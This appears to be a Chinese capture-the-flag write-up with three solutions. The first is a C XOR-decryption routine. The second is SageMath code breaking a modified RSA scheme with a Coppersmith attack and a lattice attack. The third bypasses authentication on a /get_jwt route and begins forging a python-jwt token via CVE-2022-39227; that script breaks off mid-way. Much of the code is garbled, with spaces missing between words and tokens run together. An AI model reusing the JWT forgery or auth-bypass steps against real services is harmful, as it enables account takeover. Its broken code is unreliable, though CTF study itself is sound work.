60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2,0x60,0xa3,0x45,0x2
};
int main()
{
char target[] = { 0x28,0x71,0x89,0x26,0x33,0x8a,0xde,0xf3,
0xb7,0x34,0x68,0x35,0x36,0xb0,0xe8,0xe2,
0xb6,0x1e,0x59,0x26,0x33,0x8a,0xde,0xf3,
0xb7,0x34,0x68,0x35,0x36,0xb0,0xa9,0xaa,
0xae,0x18,0x28,0x76,0x1c,0xb8,0xd7,0xab,
0xc9,0x16,0x57,0x4e,0x46,0xb4,0xff,0xf1,
0x99,0x1d,0x49,0x70,0x1d,0xa7,0xd9,0xf2,
0x9f,0x1d,0x6b,0x74,0x1d,0x89,0xd1,0xf3,
0x9e,0x23,0x5d,0x74,0x1a,0xb7,0xa8,0xfe,
0xa9,0x23,0x45,0x26,0x0e,0x94,0xe1,0xd3,
0x8a,0x28,0x53,0x4f,0x0e,0x94,0xf5,0xff,
0x98,0x0d,0x59,0x76,0x1d,0x89,0xef,0xfd,
0x99,0x1d,0x49,0x6e,0x1a,0x89,0xd5,0xf2,
0x99,0x1d,0x7f,0x79,0x1a,0xa7,0xc9,0xf6,
0x9e,0x2e,0x77,0x7f,0x1d,0xb4,0xf2,0xaf,
0xc8,0x10,0x66,0x2c,0x4a,0x94,0xfa,0xae,
0x83,0x6e,0x7f,0x26,0x1d,0xa7,0xfb,0xfd,
0x9e,0x0d,0x4d,0x70,0x1d,0x99,0xa8,0xf1,
0x9e,0x1d,0x49,0x77,0x1d,0x99,0xc1,0xf4,
0x99,0x23,0x59,0x70,0x2a,0x9c,0xac,0xf1,
0x98,0x3c,0x53,0x7b,0x07,0xa8,0xd7,0xeb,
0xce,0x72,0x2e,0x53,0x4d,0xa4,0xff,0xf2,
0x9e,0x1d,0x45,0x77,0x1d,0x89,0xc9,0xf2,
0x9f,0x1d,0x2c,0x71,0x1d,0x89,0xfb,0xfd,
0x9f,0x0d,0x4d,0x73,0x1d,0xec,0xef,0xfe,
0xa9,0x23,0x59,0x26,0x0e,0x96,0xf5,0xe0,
0x8a,0x15,0x4f,0x78,0x0e,0xaf,0xae,0xe3,
0x98,0x0d,0x7f,0x77,0x1d,0x89,0xfb,0xf2,
0x99,0x23,0x49,0x6e,0x1b,0x99,0xc9,0xf2,
0x99,0x0d,0x45,0x74,0x1b,0x99,0xd1,0xf3,
0xbd,0x08,0x77,0x7f,0x1a,0xa4,0xf2,0xa8,
0xc9,0x3b,0x44,0x2d,0x4f,0x94,0xdd,0xa2,
0x9e,0x1d,0x45,0x79,0x1d,0xb7,0xc9,0xfd,
0x99,0x1d,0x2c,0x6e,0x1a,0x99,0xc9,0xf1,
0x99,0x33,0x4d,0x6e,0x1d,0xa7,0xd9,0xf4,
0xae,0x18,0x28,0x70,0x1c,0xb8,0xd7,0xff,
0x83,0x2c,0x5b,0x2a,0x4d,0xb4,0xff,0xf1,
0x9e,0x0d,0x59,0x74,0x1d,0x89,0xc9,0xf2,
0x9f,0x1d,0x51,0x75,0x1d,0x89,0xa8,0xf2,
0x99,0x1d,0x6b,0x72,0x1a,0xb7,0xa8,0xfe,
0xa9,0x23,0x6b,0x26,0x0f,0x97,0xed,0xa8,
0x8b,0x03,0x4f,0x7a,0x1c,0x89,0xdd,0xf2,
0x99,0x0d,0x6b,0x79,0x1d,0x89,0xcd,0xea,
0x9e,0x0d,0x4d,0x79,0x1a,0xb7,0xc1,0xf3,
0x9f,0x0d,0x55,0x79,0x1b,0x9c,0xf3,0xfb,
0x9f,0x1a,0x76,0x2c,0x48,0x84,0xaf,0xa9,
0x80,0x6d,0x2f,0x2c,0x4a,0xe9,0xdd,0xa2,
0x9e,0x23,0x59,0x75,0x1d,0xb7,0xc1,0xf7,
0x99,0x1d,0x2c,0x6e,0x1a,0xb7,0xc9,0xf5,
0x99,0x1d,0x55,0x75,0x1d,0x99,0xcd,0xf2,
0xae,0x18,0x28,0x76,0x1d,0x8e,0xf2,0xa8,
0xc9,0x6c,0x4c,0x2f,0x48,0x91,0xd5,0xa2,
0x9e,0x23,0x59,0x77,0x1b,0x89,0xc9,0xfd,
0x99,0x1d,0x2c,0x72,0x1a,0x99,0xc9,0xf6,
0x99,0x23,0x7f,0x73,0x1d,0x99,0xc1,0xf0,
0xae,0x18,0x28,0x76,0x1d,0x9e,0xf2,0xab,
0x83,0x03,0x66,0x2d,0x4b,0xb2,0xcc,0xae,
0x80,0x12,0x7f,0x26,0x1a,0x99,0xcd,0xf0,
0x9e,0x0d,0x7f,0x72,0x1d,0x99,0xa8,0xf0,
0x9f,0x1d,0x4d,0x76,0x1d,0x99,0xa8,0xfd,
0x9e,0x23,0x45,0x76,0x2a,0x9c,0xac,0xf2,
0x99,0x20,0x76,0x2b,0x55,0xb2,0xdc,0xaf,
0xc9,0x03,0x73,0x26,0x1d,0x99,0xd9,0xfd,
0x99,0x23,0x45,0x77,0x1d,0x99,0xa8,0xf5,
0x9e,0x0d,0x4d,0x74,0x1d,0x99,0xd1,0xf0,
0x9e,0x23,0x59,0x74,0x2a,0x9c,0xac,0xf2,
0x99,0x30,0x76,0x2c,0x4d,0x96,0xe2,0xa9,
0x80,0x6d,0x2c,0x26,0x1a,0xa7,0xdd,0xf1,
0x99,0x0d,0x45,0x71,0x1d,0x99,0xa8,0xf7,
0x99,0x0d,0x4d,0x76,0x1d,0x99,0xef,0xf1,
0x99,0x1d,0x59,0x75,0x2a,0x9c,0xac,0xf2,
0x9e,0x0a,0x76,0x2f,0x06,0x91,0xfe,0xa9,
0x80,0x6e,0x45,0x26,0x1a,0x89,0xdd,0xfd,
0x9e,0x23,0x4d,0x76,0x1d,0x99,0xa8,0xf6,
0x99,0x23,0x4d,0x76,0x1d,0xa7,0xc1,0xf6,
0x99,0x1d,0x6b,0x76,0x2a,0x9c,0xac,0xf2,
0x9e,0x1a,0x76,0x2c,0x4f,0xe9,0xc8,0xa9,
0x80,0x6d,0x2f,0x2a,0x07,0xaf,0xcd,0xa2,
0x99,0x1d,0x5d,0x76,0x1d,0x99,0xc1,0xf5,
0x99,0x1d,0x2c,0x74,0x1a,0x99,0xcd,0xf2,
0x99,0x23,0x49,0x74,0x1b,0x89,0xd5,0xf1,
0xae,0x18,0x28,0x76,0x1a,0xa4,0xf2,0xaf,
0xd1,0x36,0x58,0x2c,0x47,0xad,0xc0,0xab,
0x82,0x15,0x4d,0x26,0x1a,0x89,0xfb,0xfd,
0x9e,0x23,0x45,0x76,0x1d,0x99,0xa8,0xf6,
0x9e,0x0d,0x49,0x76,0x1d,0x99,0xd1,0xfd,
0x9f,0x0d,0x2c,0x76,0x2a,0x9c,0xac,0xf2,
0x9e,0x30,0x76,0x2f,0x4f,0x87,0xcc,0xab,
0xd5,0x29,0x4c,0x2f,0x51,0xbf,0xac,0xa2,
0x99,0x23,0x7f,0x79,0x1a,0xa7,0xc9,0xfd,
0x99,0x1d,0x2c,0x72,0x1a,0xb7,0xcd,0xf3,
0x99,0x0d,0x45,0x77,0x1d,0x99,0xc9,0xfd,
0xae,0x18,0x28,0x76,0x1b,0x8e,0xf2,0xab,
0xd5,0x38,0x48,0x2f,0x4d,0x96,0xd9,0xa2,
0x99,0x1d,0x59,0x77,0x1a,0x99,0xfb,0xfd,
0x99,0x1d,0x2c,0x72,0x1a,0x99,0xcd,0xf3,
0x99,0x0d,0x5d,0x77,0x1d,0x99,0xef,0xf4,
0xae,0x18,0x28,0x76,0x1b,0x9e,0xf2,0xab,
0xd5,0x38,0x48,0x2d,0x55,0xeb,0xfa,0xa8,
0xce,0x6d,0x59,0x26,0x1d,0x99,0xdd,0xfd,
0x99,0x23,0x45,0x76,0x1d,0x99,0xa8,0xf5,
0x99,0x23,0x49,0x77,0x1d,0xa7,0xc9,0xf7,
0x99,0x0d,0x51,0x79,0x2a,0x9c,0xac,0xf3,
0x99,0x0a,0x76,0x2a,0x4e,0xbc,0xc8,0xa8,
0xcd,0x38,0x7f,0x26,0x1d,0x99,0xfb,0xfd,
0x9e,0x23,0x6b,0x74,0x1d,0x99,0xa8,0xea,
0x9e,0x23,0x4d,0x74,0x1d,0xa7,0xa8,0xf6,
0x9f,0x0d,0x7f,0x75,0x2a,0x9c,0xac,0xf3,
0x99,0x1a,0x76,0x2a,0x46,0xbf,0xc8,0xae,
0xc3,0x6d,0x59,0x26,0x1a,0x99,0xc1,0xfd,
0x9e,0x23,0x4d,0x74,0x1d,0x99,0xa8,0xf7,
0x99,0x33,0x49,0x77,0x1d,0x99,0xfb,0xf0,
0x99,0x23,0x49,0x71,0x2a,0x9c,0xac,0xf3,
0x99,0x20,0x76,0x2b,0x55,0xb2,0xdc,0xa8,
0xce,0x10,0x7e,0x2a,0x07,0xaf,0xcd,0xa2,
0x99,0x33,0x7f,0x79,0x1d,0x99,0xc9,0xf7,
0x99,0x1d,0x2c,0x6e,0x1a,0xb7,0xc9,0xea,
0x99,0x0d,0x49,0x74,0x1d,0xb7,0xd1,0xf2,
0xae,0x18,0x28,0x77,0x1d,0xb4,0xf2,0xae,
0xca,0x6d,0x33,0x2f,0x55,0xaf,0xaf,0xab,
0x82,0x6c,0x24,0x26,0x1d,0x99,0xdd,0xfd,
0x9f,0x1d,0x45,0x6e,0x1d,0x99,0xa8,0xf6,
0x99,0x0d,0x49,0x77,0x1d,0x89,0xd1,0xf6,
0x9f,0x0d,0x55,0x77,0x2a,0x9c,0xac,0xf3,
0x9e,0x0a,0x76,0x2d,0x04,0xe9,0xb7,0xa9,
0x80,0x6d,0x2f,0x2a,0x07,0xaf,0xcd,0xa2,
0x99,0x33,0x7f,0x79,0x1a,0xb7,0xef,0xf3,
0x99,0x1d,0x2c,0x6e,0x1a,0x99,0xcd,0xfd,
0x99,0x23,0x2c,0x74,0x1a,0x99,0xd1,0xf2,
0xae,0x18,0x28,0x77,0x1a,0x9e,0xf2,0xa8,
0xc9,0x3b,0x44,0x2b,0x4e,0x96,0xa0,0xa2,
0x99,0x33,0x45,0x76,0x1d,0x89,0xef,0xf1,
0x99,0x1d,0x2c,0x72,0x1d,0x99,0xc9,0xf1,
0x99,0x1d,0x55,0x74,0x1b,0x89,0xc1,0xfd,
0xae, 0x18, 0x28, 0x23 };
for (int i = 0LL; i < 1076; ++i)
{
target[i] ^= ptr[i];
for (int j = 0LL; j < 1076; ++j)
ptr[j] ^= byte_562BDAE0A0C0[i];
}
// Create a file to write the contents of target
FILE* out_file = fopen("output.bin", "wb");
if (out_file == NULL) {
perror("Error opening file");
return1;
}// Write target contents to file
fwrite(target, sizeof(unsignedchar), 1076, out_file);
fclose(out_file);printf("File written successfully.\n");
return0;
}
看看异或解密后文件是否全为可打印字节,后将21行身份证号脱敏提交即可
一家金融科技公司设计了一种新的数据加密方案,用于保护用户的交易信息,并进行风险分散。该方案为改进的RSA算法,其中引入了某数论问题。安全研究员在测试该方案时,发现存在潜在的漏洞,可能导致密钥泄露。现提供一段被加密的数据,以及相关的加密参数,请进行分析,并获取信用卡以及有效期数据,提交md5(card-exp_date),如card:123,exp_date:11-11,则提交:ed5f4a22d5fdc71d97e36a32bb094fae。
题目第一部分是朴素的RSA泄漏p高位场景,可以使用coppersmith攻击攻破RSA,得到hint,补全第二部分的参数
第二部分是标准的ahssp问题,结合论文https://eprint.iacr.org/2020/461.pdf实施正交格攻击恢复小矩阵,然后求解矩阵方程得到s即可
from sage.allimport *
from Crypto.Util.number import *
from hashlib import md5a = 0xb0ee0627166579753f354ced7cdb6701a5ebbfaec3cd6af76decc33f95a765bd7e5f758e2076c42a76f5af867152757b97242034693f309973ffdebe4a5ce3dd822260dfa8a8d51f9aac7550474a3a4fe37ecea6cdc23b0cbba5aa6d0d93e9b10000000000000000000000000000000000000000000000000000000000000000
n = 0x6b9f0bf43d3e9b3278d52b3cfaafadf9449048f8297fedf8f8909a030156a23c68552b5379adbf32fd9584aa42f694c8227d275f40391c7872400eda97c2b79f8349af6492c7b6ac12bae303cee1eb9b6059e5891a6535ca8310e9ba145b7b4d403d8e666e5a55a94e5f7dabe22b80032e936233d7a1f0e96b95aeb4249b8ea34ef8bf422ce9f725844478ee15b739dd70cc6e2c0bd0cb24d7d14baf66c5aca2023c24339d3b90eecb0e2568c148d438a5ce84270ce11159e3aa4d48ac8b2185c2fe8cb328e8f80602c9d7ae49799538154d325700349bb7cd2fb694fb9f8cbcf2ebced8f6c29a05c64aa78a036416c28e6e7b937a371c98feed2d826ca9ed63
c = 0x4dba2f194b97d4dac89548c035bf18d708fb9edfd6b7706e6d7871c6129931cde88718bdcbd1e8410f1e7a4c709bdf9d31572ee371816e1d11e15e491d843a7277684202bc45e23f9f1b2e3a808bde94343a47a6a22b339aa651568ff55994260039defd790c0eb0abcf90730ecf3e097316ca87e607974544866a54d23aaaf2d089e346a68437a55afc4750b9ea1d7efcb7a6fd55c694a168f186531f0e8abb2dee73ff50ebeb2a39e1e9842013dc410e09987783cdd8e234a55388fffc025b1fe3b4036d6181ac8e6ec4d9c0822c012ac861b242b2c94433209369d0f271110d007202118e566646940f12179ee05b4e1b3c1871f09a4dbfe381d625c1166aR, x = PolynomialRing(Zmod(n), 'x').objgen()
f = x + a
ans = f.small_roots(X=2**256, beta=0.4, epsilon=0.03)
p = a + int(ans[0])
q = n // p
d = inverse_mod(0x10001, n-p-q+1)
m = pow(c, d, n)
print(long_to_bytes(m))
# Ohhhh~You get hint!!!Keep in mind~[n = 45]p = 124244317712525284357780325725633529145442802066864254394159544562504647929416536939991846331828441162268585119609117368160118503713080527398014673283356965061627021101171796247132206953865749974908694380616197458412945773485258798886381229108254245680238940045643980836534956149948805469173754582822299450399
e = XXXXXXX
h = XXXXXXX
n, m = 45, 195
K = 2**1024
L = block_matrix(ZZ, [
[1, K*matrix(h).T, K*matrix(e).T],
[0, K*p, 0],
[0, 0, K*p]
]).LLL()
L = block_matrix(ZZ, [
[1, K*L[:m-n,:m].T]
]).LLL()
L = L[:n,:m]defcheck(v):
returnset(v.list()) == {0, 1} orset(v.list()) == {-1, 0}
Lv = [v for v in L if check(v)]
for vi in Lv:
for vj in L:
v = vi + vj
if check(v) and v notin Lv:
Lv.append(vector(list(map(abs, v))))
v = vi - vj
if check(v) and v notin Lv:
Lv.append(vector(list(map(abs, v))))
A = block_matrix(GF(p), [
[matrix(Lv)],
[-matrix(e)]
])
b = vector(h)
ss = A.solve_left(b)
print(ss)
flag = long_to_bytes(int(ss[-1]))
print(flag)
# card:4111111111111123,exp_date:2025-12card = b'4111111111111123'
exp_date = b'2025-12'
flag = md5(card + b'-' + exp_date).hexdigest()
print(flag)
# a01f461a6ca2936342b269b55e8de03e
加个.绕过了中间件对/get_jwt路由的验权
拿到guest的jwt
根据返回猜测为python-jwt尝试使用CVE-2022-39227伪造jwt
def topic(name):
topic = "eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NDMzMjAzMDMsImdyb3VwaW5nIjoiZ3Vlc3QiLCJpYXQiOjE3NDMzMTY3MDMsImp0aSI6IkJVZVd4VEJUUnNmcnRPM0ZsZEhZUWciLCJuYmYiOjE3NDMzMTY3MDMsInVzZXIiOiJjaW1lciJ9.Y5lUuRh94_66y7kCcOoYeHNjp_a4fhjEU1XgIbx9XYKOXeSGF90NJEB56DOGOlRRK3XfHsDQKbk-jqp_RE20j0i20q-Uw6Ny-YZLNYBGdmw9TwesuMMtmxpEErLgiSrIPj8NTIEvUAbZ6HUpSVfAEZD-bG2lZqseMDptz9FvulbTYxRmRkS_dAN63efbB4RMSmqHqptUtRHxDzI1dPAqJM18WFfIGiok1-aIwjilrNIC-UDq-DqRkGoYTYPMphq0B7k5RSwZvYmO_nvETkYRJ8lYccP5-7fWgIqZM2WD46QY8kQ5s0yVpmwuCcaFKDmKXeSxIFJM_GR1b2uXB-34jw"
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
# print(parsed_payload)
parsed_payload["grouping"] = "admincimer"
parsed_payload["user"] = "admincimer"
